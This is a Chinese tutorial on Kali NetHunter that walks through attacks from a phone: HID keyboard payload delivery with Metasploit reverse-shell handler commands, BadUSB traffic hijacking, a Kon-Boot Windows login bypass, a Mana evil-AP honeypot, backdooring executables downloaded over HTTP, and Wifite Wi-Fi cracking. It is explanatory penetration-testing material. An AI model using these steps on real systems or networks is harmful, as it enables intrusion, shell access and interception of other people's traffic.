原文地址:http://drops.wooyun.org/tips/4634

0x00 前言


许多朋友都希望Hacking套件可以很方便的从PC移植到更便携的手机或平板电脑上,而Offensive Security团队发布的Kali NetHunter则将这一期待变为现实,通过移动终端随时随地进行Hacking,暂且美其名曰口袋Hacking.

Kali NetHunter是以Nexus(手机/平板)为基本硬件设备(新增对1+手机的支持),基于原生Android实现的便携渗透测试平台.熟悉的Kali使其易于上手,而图形化控制界面则使某些测试更易.基于此平台,工程师们也可自由发挥,加入个人项目.

关于NetHunter国内外文章相对较少且重复度高,故在此将其主要实战技巧加以整理介绍,以备各位爱好者参考.由于资料不足,难免出错之处,如有疏漏错误,望不吝赐教.

0x01 硬件支持


NetHunter官网给出以下支持刷入NetHunter的手机:

Nexus 4 (GSM) - “mako”
Nexus 5 (GSM/LTE) - “hammerhead”
Nexus 7 [2012] (Wi-Fi) - “nakasi”
Nexus 7 [2012] (Mobile) - “nakasig”
Nexus 7 [2013] (Wi-Fi) - “razor”
Nexus 7 [2013] (Mobile) - “razorg”
Nexus 10 (Tablet) - “mantaray”
OnePlus One 16 GB - “bacon”
OnePlus One 64 GB - “bacon”

值得一提的是,2015年NetHunter更新,由于1+手机的廉价与高性能,其被加入支持列表.用1+手机的朋友有福了,以下刷机以Nexus5为例.

0x02 刷机流程


官网给出几种刷机方式,推荐使用Windows引导刷机程序安装.下载地址:

https://www.kali.org/offsec-nethunter-installer/Kali_v1.1.6.sfx.exe

打开安装引导程序,默认路径安装

img

安装后自动运行NetHunter Installer并更新,进入引导安装步骤

img

img

img

可以通过Test Drivers测试是否安装成功

img

如已经通过官网下载过刷机包,通过Browser选择文件.下载链接 http://www.offensive-security.com/kali-linux-nethunter-download/ 下载后记得校验SHA1值.至于Android Flash Setting,因为对Android L的支持还未完成,故尚未开放选择.

img

如图示,下载所有依赖文件.

img

所有依赖包都为Ready可进入下一步刷机.

img

解锁bootloader,注意需设置允许USB调试,手机会重启解锁.

img

同样再手机上勾选允许USB调试,注意数据会清空,记得备份.

img

img

经过上一步重置手机后,需重新开启开发者模式,此时可刷入Kali Linux镜像并对手机进行Root,所需时间相对较长.(注:如镜像推送不成功,可以手工将kali_linux_nethunter_1.10_hammerhead_kitkat.zip复制到/sdcard/download/目录进行INSTALL)

img

img

0x03 推荐APP一览


完成系统刷入后,要丰富NetHunter原装工具,可以下载部分安卓APP以配合.以下为个人推荐

0x04 目录与服务


安装好NetHunter,先要对其目录与服务研究一番.Kali NetHunter根目录对应安卓系统目录的/data/local/kali-armhf目录

img

NetHunter自带工具,也多在此目录内.故如有抓包/日志等文件,找不到存放地址,不妨到此目录下寻觅一番(注:需Root权限).另外,NetHunter某些工具运行时的提示的目录,也多以此处为根目录.

通常,截获的数据包等文件存放在NetHunter目录下的Captures目录:

img

与Kali Linux类似,/usr/share下存放了大部分工具,并建立link,命令行可直接调用.

img

而Metasploit则依然位于/opt/目录下.

img

上图中/opt/dic目录则存放有字典文件,可自行补充.

img

此为/var/www目录,想来大家也知道是何用处了:)

至于服务,Offensive Security团队在新版中加入NetHunter Home以APP的形式管理服务开关,避免了之前版本通过WebServer管理的弊端(比如Web页面调用Google Fonts被墙卡半天 ;)

img

如图示,NetHunter Home为主页面,除了Offensive Security的Banner,还可以获取当前IP(内网/外网)地址.

img

Kali Launcher整合了四个启动器:

对于NetHunter服务开关控制,则在Kali Service Control面板里进行设置

img

可看到,NetHunter可开放服务有SSH,Dnsmasq,Hostapd,OpenVPN,Apache,Metasploit及BeEF FrameWork等.

在此面板可对对应服务进行开关设置.

0x05 Kali NetHunter Menu


在NetHunter Launcher中Kali Menu的启动项,其包含整理有NetHunter常用工具,如图:

img

与上一个版本相比,新增了以下选项:

USB Attacks
NFC Attacks
Monitor Mode
Eject USB Wifi

主要模块及介绍如下:

Wireless Attacks

Sniffing/Spoofing

Reverse Shells

Info Gathering

Vulnerability Scan

Exploit Tools

OpenVPN Setup

OpenVPN设置

VNC Setup

VNC设置

Log/Capture Menu

可擦除本地所有抓取数据或同步到SD卡上(同步主要是解决权限问题.比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)

USB Attacks

NFC Attack

提供了复制、重写、查看M卡数据功能(是不是不必带上Acr122u了;)

Settings

Service

Monitor Mode

启动或关闭wlan1(外置无线网卡)的混杂监听模式

Eject USB Wifi

弹出USB无线网卡

0x06 HID KeyBoard Attack


在过去,USB自启往往依赖插入的USB设备中的autorun.inf实现.时下这招往往不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:

首先运行提供payload的webserver,在Kali Service Control中开启Apache服务器

img

转到HID攻击配置页面,选择PowerSploit

img

IP和端口填写MSF监听的IP端口,Payload我们选择windows/meterpreter/reverse_https,URL为提供Apache服务的IP,这里即本机:192.168.1.151

配置好后UPDATE配置文件,接下来需配置MSF监听反弹shell

[email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >

payload同HID配置页面中的payload

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https

IP和端口同样设置

msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:4444/
[*] Starting the payload handler...

至此配置OK

img

开始监听

img

此时将设备连接至PC机,等待设备被识别后,执行Execute,攻击开始.

POWERSHELL命令执行后,就可在msf中看到反弹的shell了:

img

如连上PC后没有反应,可按Reset USB键更新.

当然,HID KeyBoard Attack也提供了Windows CMD攻击模块,即连入计算机后自动打开CMD并执行指定命令(默认为添加新管理员用户,可自由定制).

0x07 BadUSB MITM Attack


BadUSB Attack是BlackHat大会上公布的一种较先进的USB攻击方式,模拟键盘操作等Payload可自动执行某些操作,而NetHunter的BadUSB MiTM Attack则是其中一种玩法:修改网络设定,劫持网络流量.

关于BadUSB MITM Attack,NetHunter官网有演示视频,详见http://www.nethunter.com/showcase/,但并未交代详细过程,以下笔者操作为例:

首先,确保手机连接目标计算机时,MTP文件传输是关闭的.连接目标计算机,打开手机USB网络共享:

img

此时在NetHunter Home打开一个Kali Shell,查看网卡多出虚拟网卡rndis0(USB网络共享网卡).

img

此时可以开启Tcpdump截获流量,命令如:

tcpdump -i rndis0

回到NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项Start BadUSB Attack

img

被连接的计算机此时会多出一个网卡,网关为rndis0的IP地址

img

此时流量已可以截获,例如访问某些网站,手机tcpdump处流量显示如图:

img

因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面.

之前有同学在Drops分享的一片文章Kali Nethunter初体验中提到:

出现双网关现在所以并未像官网演示的那样流量直接走向恶意网关(10.0.0.1)而是依旧走的之前的网关(192.168.1.1)故劫持失败

这种情况也可能出现,不过个人测试中,网络连接优先级,默认劫持后的网关优先级更高,故流量可以正常劫持.也可能是NetHunter今年更新后做的优化,如图示:

img

当然,配合HID Keyboard Attack进行攻击测试也是很好的方式,至于数据包的保存与分析,则可自行发挥.

0x08 绕过Windows登录认证


NetHunter其实有许多隐藏玩法,比如借助DriveDroid实现Windows登陆绕过密码.

DriveDroid本是个允许通过安卓手机中的ISO/IMG镜像文件引导启动PC机的一个App,但结合了特定的镜像,实现绕过Windows登陆认证就变得可行:)

在此以Win7为例,首先为默认账户创建密码hello.

img

DriveDroid默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可.

img

这里绕过Windows或OSX登陆认证的镜像为Kon-Boot.可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统.因为是付费软件,以下以自行寻觅的镜像为例演示.

关闭MTP文件传输,打开DriveDroid,自动列出images目录下得镜像文件.

img

选择Kon-Boot.img镜像挂载,模式这里选择为Read-Only USB

img

加载成功后相应镜像有所标志

img

而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)

img

此时在设有密码的PC机重启,进入BIOS设置启动项

img

如果镜像加载成功,可以看到飞奔的图案如下:

img

之后登陆用户密码处回车即可绕过密码认证登陆系统

img

需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码.

0x09 WarDriving


犹记得当年前辈们肩扛笔记本做WarDriving的事迹,智能设备发展至今,WarDriving已可用便携设备取代.只是至今迟迟没有寻觅到比较合适直观的WarDriving工具,期待有朋友能开发或推荐个.

在NetHunter下,Kali-Menu的Wireless模块中Kismet作为WarDriving的默认工具,不过操作起来画面太美不敢看:

img

退而求其次,推荐使用App WigleWifi.不过注意不要不小心上传数据.使用easy,界面很难看.

img

好在数据可以以Sqlite数据库格式存储在本地.

0x10 Mana EvilAP蜜罐


想建个CMCC无线网络钓鱼劫持流量?PineApple没有带在身边,不妨拿出手机,开个蜜罐吧. :)

Mana蜜罐采用与PineApple相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击.

需要说明的是,NetHunter无线攻击模块,大都需要使用OTG外接USB无线网卡.主流芯片(可以试试Kali是否可直接识别)网卡均可.WN722N较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知.

img

Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制.Mana工具安装目录为:

/usr/share/mana-toolkit

启动脚本则在此处存放:

/usr/share/mana-toolkit/run-mana

截获流量文件存放于:

/var/lib/mana-toolkit

通过NetHunter Home的Mana蜜罐页面可方便的对配置文件进行修改:

Hostapd配置文件

img

DHCP服务配置文件

img

DNS欺骗配置文件

img

服务启动脚本有多个,均可自由编辑修改:

img

上图对应脚本start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb,sslstrip,sslsplit等,截获流量并保存.

img

start-nat-simple.sh同样有上行流量,但并不启动firelamb,sslstrip,sslsplit等脚本.

img

start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍.

此外,还有

start-noupstream.sh

Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息.

start-noupstream-eap.sh

Mana同样无法上网,但会进行EAP攻击

编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:

img

即可启动服务.

0x11 Backdooring Executable Over HTTP


这个攻击思路就比较有趣了,新功能在NetHunter今年1月5号发布的版本中作为Kali Nethunter目前最新最酷炫的玩法,源于secret squirrel的github项目the-backdoor-factoryBDFProxy,可让我们轻松地对使用HTTP协议传送的二进制文件注入shellcode.

首先建立一个Mana蜜罐,SSID这里使用默认名称internet,启动服务

cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh

img

再开一个Shell,编辑bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的payload,可自行更换.不过由于显示问题,用nano编辑文本会一行行刷新,还是换个方式编辑比较好.这里只把IP修改192.168.1.151,也可在Nethunter的主面板下的MANA Evil Access Point中进行配置.

nano /etc/bdfproxy/bdfproxy.cfg

配置好IP之后,在Shell中直接输入bdfproxy运行之.

再新开一个Shell启动Metasploit

img

一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载everything(神器啊)演示:

img

运行everthing,因为注入了payload,会出现自校验失败的提示

img

查看MSF,已成功反弹回Shell了.而上面自校验失败的提示就是MeterPreter的screenshot帮我截取的 :)

img

不得不说,这个新特性真的很Cool.

0x12 Wifite破解


写到最后,还没有提到无线破解是不科学的;) NetHunter推荐的Wifite破解工具是其最早集成的功能之一.移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解.不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机.

连接好外置无线网卡后,在Nethunter主菜单选择Launch Wifite即可进入

img

选择开启混杂监听模式的网卡,选择Wlan1

img

扫描开始,每5秒更新一次,当确认攻击目标后CTRL+C停止扫描

img

输入攻击目标序号,这里就选XDSEC-WIFI了,输入2

img

抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出

img

抓到的握手包存放在/data/local/kali-armhf/HS目录下,命名规则是SSID+MAC

img

如果目标开启WPS,则自动进行PIN码破解.

Wifite相对傻瓜化,易操作,适合移动终端.对无线网密码测试笔者也成功过几次,连入无线后结合zANTI等工具调戏即可:)

0x13 写在最后


文末,已将NetHunter大部分实战玩法进行相应介绍,文章为卷毛zing同学与顺毛le4f同学共同编写,能力有限,如有不足之处望指出.抛砖引玉,期待有更多技巧分享.